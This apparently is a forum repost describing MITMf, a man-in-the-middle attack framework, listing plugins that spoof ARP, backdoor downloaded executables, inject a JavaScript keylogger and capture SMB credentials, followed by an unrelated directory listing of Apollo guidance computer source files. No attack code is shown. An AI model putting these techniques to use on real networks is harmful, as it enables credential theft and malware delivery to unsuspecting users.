MITMf Framework for Man-In-The-Middle attacks Quick tutorial and examples at Trying to take the dum-dum out of security... This tool is completely based on sergio-proxy https://code.google.com/p/sergio-proxy/ and is an attempt to revive and update the project. Availible plugins: ArpSpoof - Redirect traffic using arp-spoofing BrowserProfiler - Attempts to enumerate all browser plugins of connected clients CacheKill - Kills page caching by modifying headers FilePwn - Backdoor executables being sent over http using bdfactory Inject - Inject arbitrary content into HTML content JavaPwn - Performs drive-by attacks on clients with out-of-date java browser plugins jskeylogger - Injects a javascript keylogger into clients webpages Replace - Replace arbitary content in HTML content SMBAuth - Evoke SMB challenge-response auth attempts Upsidedownternet - Flips images 180 degrees Sursa: https://github.com/byt3bl33d3r/MITMf

[TABLE] [TR] [TD][/TD] [TD]Parent Directory[/TD] [TD] [/TD] [TD=align: right] - [/TD] [TD] [/TD] [/TR] [TR] [TD][/TD] [TD]AGC_BLOCK_TWO_SELF-CHECK.agc.html[/TD] [TD=align: right]27-Jul-2009 19:49 [/TD] [TD=align: right] 94K[/TD] [TD] [/TD] [/TR] [TR] [TD][/TD] [TD]ALARM_AND_ABORT.agc.html[/TD] [TD=align: right]27-Jul-2009 19:49 [/TD] [TD=align: right] 35K[/TD] [TD] [/TD] [/TR] [TR] [TD][/TD] [TD]ANGLFIND.agc.html[/TD] [TD=align: right]27-Jul-2009 19:49 [/TD] [TD=align: right] 98K[/TD] [TD] [/TD] [/TR] [TR] [TD][/TD] [TD]ASSEMBLY_AND_OPERATION_INFORMATION.agc.html[/TD] [TD=align: right]27-Jul-2009 19:49 [/TD] [TD=align: right]175K[/TD] [TD] [/TD] [/TR] [TR] [TD][/TD] [TD]AUTOMATIC_MANEUVERS.agc.html[/TD] [TD=align: right]27-Jul-2009 19:49 [/TD] [TD=align: right] 83K[/TD] [TD] [/TD] [/TR] [TR] [TD][/TD] [TD]Apollo32.png[/TD] [TD=align: right]27-Jul-2009 19:49 [/TD] [TD=align: right]2.6K[/TD] [TD] [/TD] [/TR] [TR] [TD][/TD] [TD]CM_BODY_ATTITUDE.agc.html[/TD] [TD=align: right]27-Jul-2009 19:49 [/TD] [TD=align: right] 49K[/TD] [TD] [/TD] [/TR] [TR] [TD][/TD] [TD]CM_ENTRY_DIGITAL_AUTOPILOT.agc.html[/TD] [TD=align: right]27-Jul-2009 19:49 [/TD] [TD=align: right]212K[/TD] [TD] [/TD] [/TR] [TR] [TD][/TD] [TD]CONIC_SUBROUTINES.agc.html[/TD] [TD=align: right]27-Jul-2009 19:49 [/TD] [TD=align: right]301K[/TD] [TD] [/TD] [/TR] [TR] [TD][/TD] [TD]CONTRACT_AND_APPROVALS.agc.html[/TD] [TD=align: right]27-Jul-2009 19:49 [/TD] [TD=align: right] 13K[/TD] [TD] [/TD] [/TR] [TR] [TD][/TD] [TD]CSM_GEOMETRY.agc.html[/TD] [TD=align: right]27-Jul-2009 19:49 [/TD] [TD=align: right] 64K[/TD] [TD] [/TD] [/TR] [TR] [TD][/TD] [TD]DISPLAY_INTERFACE_ROUTINES.agc.html[/TD] [TD=align: right]27-Jul-2009 19:49 [/TD] [TD=align: right]242K[/TD] [TD] [/TD] [/TR] [TR] [TD][/TD] [TD]DOWN-TELEMETRY_PROGRAM.agc.html[/TD] [TD=align: right]27-Jul-2009 19:49 [/TD] [TD=align: right] 81K[/TD] [TD] [/TD] [/TR] [TR] [TD][/TD] [TD]DOWNLINK_LISTS.agc.html[/TD] [TD=align: right]27-Jul-2009 19:49 [/TD] [TD=align: right] 76K[/TD] [TD] [/TD] [/TR] [TR] [TD][/TD] [TD]ENTRY_LEXICON.agc.html[/TD] [TD=align: right]27-Jul-2009 19:49 [/TD] [TD=align: right] 56K[/TD] [TD] [/TD] [/TR] [TR] [TD][/TD] [TD]ERASABLE_ASSIGNMENTS.agc.html[/TD] [TD=align: right]27-Jul-2009 19:49 [/TD] [TD=align: right]642K[/TD] [TD] [/TD] [/TR] [TR] [TD][/TD] [TD]EXECUTIVE.agc.html[/TD] [TD=align: right]27-Jul-2009 19:49 [/TD] [TD=align: right] 82K[/TD] [TD] [/TD] [/TR] [TR] [TD][/TD] [TD]EXTENDED_VERBS.agc.html[/TD] [TD=align: right]27-Jul-2009 19:49 [/TD] [TD=align: right]214K[/TD] [TD] [/TD] [/TR] [TR] [TD][/TD] [TD]FIXED_FIXED_CONSTANT_POOL.agc.html[/TD] [TD=align: right]27-Jul-2009 19:49 [/TD] [TD=align: right] 48K[/TD] [TD] [/TD] [/TR] [TR] [TD][/TD] [TD]FRESH_START_AND_RESTART.agc.html[/TD] [TD=align: right]27-Jul-2009 19:49 [/TD] [TD=align: right]239K[/TD] [TD] [/TD] [/TR] [TR] [TD][/TD] [TD]GIMBAL_LOCK_AVOIDANCE.agc.html[/TD] [TD=align: right]27-Jul-2009 19:49 [/TD] [TD=align: right] 14K[/TD] [TD] [/TD] [/TR] [TR] [TD][/TD] [TD]GROUND_TRACKING_DETERMINATION_PROGRAM.agc.html[/TD] [TD=align: right]27-Jul-2009 19:49 [/TD] [TD=align: right] 34K[/TD] [TD] [/TD] [/TR] [TR] [TD][/TD] [TD]IMU_CALIBRATION_AND_ALIGNMENT.agc.html[/TD] [TD=align: right]27-Jul-2009 19:49 [/TD] [TD=align: right]226K[/TD] [TD] [/TD] [/TR] [TR] [TD][/TD] [TD]IMU_COMPENSATION_PACKAGE.agc.html[/TD] [TD=align: right]27-Jul-2009 19:49 [/TD] [TD=align: right] 64K[/TD] [TD] [/TD] [/TR] [TR] [TD][/TD] [TD]IMU_MODE_SWITCHING_ROUTINES.agc.html[/TD] [TD=align: right]27-Jul-2009 19:49 [/TD] [TD=align: right]169K[/TD] [TD] [/TD] [/TR] [TR] [TD][/TD] [TD]INFLIGHT_ALIGNMENT_ROUTINES.agc.html[/TD] [TD=align: right]27-Jul-2009 19:49 [/TD] [TD=align: right] 45K[/TD] [TD] [/TD] [/TR] [TR] [TD][/TD] [TD]INTEGRATION_INITIALIZATION.agc.html[/TD] [TD=align: right]27-Jul-2009 19:49 [/TD] [TD=align: right]188K[/TD] [TD] [/TD] [/TR] [TR] [TD][/TD] [TD]INTER-BANK_COMMUNICATION.agc.html[/TD] [TD=align: right]27-Jul-2009 19:49 [/TD] [TD=align: right] 32K[/TD] [TD] [/TD] [/TR] [TR] [TD][/TD] [TD]INTERPRETER.agc.html[/TD] [TD=align: right]27-Jul-2009 19:49 [/TD] [TD=align: right]507K[/TD] [TD] [/TD] [/TR] [TR] [TD][/TD] [TD]INTERPRETIVE_CONSTANTS.agc.html[/TD] [TD=align: right]27-Jul-2009 19:49 [/TD] [TD=align: right] 12K[/TD] [TD] [/TD] [/TR] [TR] [TD][/TD] [TD]INTERRUPT_LEAD_INS.agc.html[/TD] [TD=align: right]27-Jul-2009 19:49 [/TD] [TD=align: right] 19K[/TD] [TD] [/TD] [/TR] [TR] [TD][/TD] [TD]JET_SELECTION_LOGIC.agc.html[/TD] [TD=align: right]27-Jul-2009 19:49 [/TD] [TD=align: right]155K[/TD] [TD] [/TD] [/TR] [TR] [TD][/TD] [TD]KALCMANU_STEERING.agc.html[/TD] [TD=align: right]27-Jul-2009 19:49 [/TD] [TD=align: right] 45K[/TD] [TD] [/TD] [/TR] [TR] [TD][/TD] [TD]KEYRUPT_UPRUPT.agc.html[/TD] [TD=align: right]27-Jul-2009 19:49 [/TD] [TD=align: right] 24K[/TD] [TD] [/TD] [/TR] [TR] [TD][/TD] [TD]LATITUDE_LONGITUDE_SUBROUTINES.agc.html[/TD] [TD=align: right]27-Jul-2009 19:49 [/TD] [TD=align: right] 49K[/TD] [TD] [/TD] [/TR] [TR] [TD][/TD] [TD]LUNAR_AND_SOLAR_EPHEMERIDES_SUBROUTINES.agc.html[/TD] [TD=align: right]27-Jul-2009 19:49 [/TD] [TD=align: right] 32K[/TD] [TD] [/TD] [/TR] [TR] [TD][/TD] [TD]LUNAR_LANDMARK_SELECTION_FOR_CM.agc.html[/TD] [TD=align: right]27-Jul-2009 19:49 [/TD] [TD=align: right]6.2K[/TD] [TD] [/TD] [/TR] [TR] [TD][/TD] [TD]MAIN.agc.html[/TD] [TD=align: right]27-Jul-2009 19:49 [/TD] [TD=align: right]296K[/TD] [TD] [/TD] [/TR] [TR] [TD][/TD] [TD]MEASUREMENT_INCORPORATION.agc.html[/TD] [TD=align: right]27-Jul-2009 19:49 [/TD] [TD=align: right] 80K[/TD] [TD] [/TD] [/TR] [TR] [TD][/TD] [TD]MYSUBS.agc.html[/TD] [TD=align: right]27-Jul-2009 19:49 [/TD] [TD=align: right] 16K[/TD] [TD] [/TD] [/TR] [TR] [TD][/TD] [TD]ORBITAL_INTEGRATION.agc.html[/TD] [TD=align: right]27-Jul-2009 19:49 [/TD] [TD=align: right]145K[/TD] [TD] [/TD] [/TR] [TR] [TD][/TD] [TD]P11.agc.html[/TD] [TD=align: right]27-Jul-2009 19:49 [/TD] [TD=align: right]149K[/TD] [TD] [/TD] [/TR] [TR] [TD][/TD] [TD]P20-P25.agc.html[/TD] [TD=align: right]27-Jul-2009 19:49 [/TD] [TD=align: right]579K[/TD] [TD] [/TD] [/TR] [TR] [TD][/TD] [TD]P30-P37.agc.html[/TD] [TD=align: right]27-Jul-2009 19:49 [/TD] [TD=align: right] 95K[/TD] [TD] [/TD] [/TR] [TR] [TD][/TD] [TD]P32-P33_P72-P73.agc.html[/TD] [TD=align: right]27-Jul-2009 19:49 [/TD] [TD=align: right]218K[/TD] [TD] [/TD] [/TR] [TR] [TD][/TD] [TD]P34-35_P74-75.agc.html[/TD] [TD=align: right]27-Jul-2009 19:49 [/TD] [TD=align: right]275K[/TD] [TD] [/TD] [/TR] [TR] [TD][/TD] [TD]P37_P70.agc.html[/TD] [TD=align: right]27-Jul-2009 19:49 [/TD] [TD=align: right]313K[/TD] [TD] [/TD] [/TR] [TR] [TD][/TD] [TD]P40-P47.agc.html[/TD] [TD=align: right]27-Jul-2009 19:49 [/TD] [TD=align: right]395K[/TD] [TD] [/TD] [/TR] [TR] [TD][/TD] [TD]P51-P53.agc.html[/TD] [TD=align: right]27-Jul-2009 19:49 [/TD] [TD=align: right]347K[/TD] [TD] [/TD] [/TR] [TR] [TD][/TD] [TD]P61-P67.agc.html[/TD] [TD=align: right]27-Jul-2009 19:49 [/TD] [TD=align: right]192K[/TD] [TD] [/TD] [/TR] [TR] [TD][/TD] [TD]P76.agc.html[/TD] [TD=align: right]27-Jul-2009 19:49 [/TD] [TD=align: right] 28K[/TD] [TD] [/TD] [/TR] [TR] [TD][/TD] [TD]PHASE_TABLE_MAINTENANCE.agc.html[/TD] [TD=align: right]27-Jul-2009 19:49 [/TD] [TD=align: right] 66K[/TD] [TD] [/TD] [/TR] [TR] [TD][/TD] [TD]PINBALL_GAME_BUTTONS_AND_LIGHTS.agc.html[/TD] [TD=align: right]27-Jul-2009 19:49 [/TD] [TD=align: right]653K[/TD] [TD] [/TD] [/TR] [TR] [TD][/TD] [TD]PINBALL_NOUN_TABLES.agc.html[/TD] [TD=align: right]27-Jul-2009 19:49 [/TD] [TD=align: right]158K[/TD] [TD] [/TD] [/TR] [TR] [TD][/TD] [TD]PLANETARY_INERTIAL_ORIENTATION.agc.html[/TD] [TD=align: right]27-Jul-2009 19:49 [/TD] [TD=align: right] 61K[/TD] [TD] [/TD] [/TR] [TR] [TD][/TD] [TD]POWERED_FLIGHT_SUBROUTINES.agc.html[/TD] [TD=align: right]27-Jul-2009 19:49 [/TD] [TD=align: right] 60K[/TD] [TD] [/TD] [/TR] [TR] [TD][/TD] [TD]R30.agc.html[/TD] [TD=align: right]27-Jul-2009 19:49 [/TD] [TD=align: right] 87K[/TD] [TD] [/TD] [/TR] [TR] [TD][/TD] [TD]R31.agc.html[/TD] [TD=align: right]27-Jul-2009 19:49 [/TD] [TD=align: right] 48K[/TD] [TD] [/TD] [/TR] [TR] [TD][/TD] [TD]R60_62.agc.html[/TD] [TD=align: right]27-Jul-2009 19:49 [/TD] [TD=align: right] 64K[/TD] [TD] [/TD] [/TR] [TR] [TD][/TD] [TD]RCS-CSM_DAP_EXECUTIVE_PROGRAMS.agc.html[/TD] [TD=align: right]27-Jul-2009 19:49 [/TD] [TD=align: right] 15K[/TD] [TD] [/TD] [/TR] [TR] [TD][/TD] [TD]RCS-CSM_DIGITAL_AUTOPILOT.agc.html[/TD] [TD=align: right]27-Jul-2009 19:49 [/TD] [TD=align: right]164K[/TD] [TD] [/TD] [/TR] [TR] [TD][/TD] [TD]REENTRY_CONTROL.agc.html[/TD] [TD=align: right]27-Jul-2009 19:49 [/TD] [TD=align: right]242K[/TD] [TD] [/TD] [/TR] [TR] [TD][/TD] [TD]RESTARTS_ROUTINE.agc.html[/TD] [TD=align: right]27-Jul-2009 19:49 [/TD] [TD=align: right] 52K[/TD] [TD] [/TD] [/TR] [TR] [TD][/TD] [TD]RESTART_TABLES.agc.html[/TD] [TD=align: right]27-Jul-2009 19:49 [/TD] [TD=align: right] 81K[/TD] [TD] [/TD] [/TR] [TR] [TD][/TD] [TD]RT8_OP_CODES.agc.html[/TD] [TD=align: right]27-Jul-2009 19:49 [/TD] [TD=align: right] 56K[/TD] [TD] [/TD] [/TR] [TR] [TD][/TD] [TD]S-BAND_ANTENNA_FOR_CM.agc.html[/TD] [TD=align: right]27-Jul-2009 19:49 [/TD] [TD=align: right] 24K[/TD] [TD] [/TD] [/TR] [TR] [TD][/TD] [TD]SERVICER207.agc.html[/TD] [TD=align: right]27-Jul-2009 19:49 [/TD] [TD=align: right]121K[/TD] [TD] [/TD] [/TR] [TR] [TD][/TD] [TD]SERVICE_ROUTINES.agc.html[/TD] [TD=align: right]27-Jul-2009 19:49 [/TD] [TD=align: right] 42K[/TD] [TD] [/TD] [/TR] [TR] [TD][/TD] [TD]SINGLE_PRECISION_SUBROUTINES.agc.html[/TD] [TD=align: right]27-Jul-2009 19:49 [/TD] [TD=align: right] 12K[/TD] [TD] [/TD] [/TR] [TR] [TD][/TD] [TD]STABLE_ORBIT.agc.html[/TD] [TD=align: right]27-Jul-2009 19:49 [/TD] [TD=align: right] 68K[/TD] [TD] [/TD] [/TR] [TR] [TD][/TD] [TD]STAR_TABLES.agc.html[/TD] [TD=align: right]27-Jul-2009 19:49 [/TD] [TD=align: right] 27K[/TD] [TD] [/TD] [/TR] [TR] [TD][/TD] [TD]SXTMARK.agc.html[/TD] [TD=align: right]27-Jul-2009 19:49 [/TD] [TD=align: right]105K[/TD] [TD] [/TD] [/TR] [TR] [TD][/TD] [TD]SYSTEM_TEST_STANDARD_LEAD_INS.agc.html[/TD] [TD=align: right]27-Jul-2009 19:49 [/TD] [TD=align: right] 22K[/TD] [TD] [/TD] [/TR] [TR] [TD][/TD] [TD]T4RUPT_PROGRAM.agc.html[/TD] [TD=align: right]27-Jul-2009 19:49 [/TD] [TD=align: right]232K[/TD] [TD] [/TD] [/TR] [TR] [TD][/TD] [TD]TAGS_FOR_RELATIVE_SETLOC.agc.html[/TD] [TD=align: right]27-Jul-2009 19:49 [/TD] [TD=align: right] 66K[/TD] [TD] [/TD] [/TR] [TR] [TD][/TD] [TD]TIME_OF_FREE_FALL.agc.html[/TD] [TD=align: right]27-Jul-2009 19:49 [/TD] [TD=align: right]118K[/TD] [TD] [/TD] [/TR] [TR] [TD][/TD] [TD]TPI_SEARCH.agc.html[/TD] [TD=align: right]27-Jul-2009 19:49 [/TD] [TD=align: right] 91K[/TD] [TD] [/TD] [/TR] [TR] [TD][/TD] [TD]TVCDAPS.agc.html[/TD] [TD=align: right]27-Jul-2009 19:49 [/TD] [TD=align: right]124K[/TD] [TD] [/TD] [/TR] [TR] [TD][/TD] [TD]TVCEXECUTIVE.agc.html[/TD] [TD=align: right]27-Jul-2009 19:49 [/TD] [TD=align: right] 46K[/TD] [TD] [/TD] [/TR] [TR] [TD][/TD] [TD]TVCINITIALIZE.agc.html[/TD] [TD=align: right]27-Jul-2009 19:49 [/TD] [TD=align: right] 69K[/TD] [TD] [/TD] [/TR] [TR] [TD][/TD] [TD]TVCMASSPROP.agc.html[/TD] [TD=align: right]27-Jul-2009 19:49 [/TD] [TD=align: right] 37K[/TD] [TD] [/TD] [/TR] [TR] [TD][/TD] [TD]TVCRESTARTS.agc.html[/TD] [TD=align: right]27-Jul-2009 19:49 [/TD] [TD=align: right] 45K[/TD] [TD] [/TD] [/TR] [TR] [TD][/TD] [TD]TVCROLLDAP.agc.html[/TD] [TD=align: right]27-Jul-2009 19:49 [/TD] [TD=align: right]101K[/TD] [TD] [/TD] [/TR] [TR] [TD][/TD] [TD]TVCSTROKETEST.agc.html[/TD] [TD=align: right]27-Jul-2009 19:49 [/TD] [TD=align: right] 42K[/TD] [TD] [/TD] [/TR] [TR] [TD][/TD] [TD]UPDATE_PROGRAM.agc.html[/TD] [TD=align: right]27-Jul-2009 19:49 [/TD] [TD=align: right] 95K[/TD] [TD] [/TD] [/TR] [TR] [TD][/TD] [TD]WAITLIST.agc.html[/TD] [TD=align: right]27-Jul-2009 19:49 [/TD] [TD=align: right] 86K[/TD] [TD] [/TD] [/TR] [/TABLE] Sursa: Index of /apollo/listings/Comanche055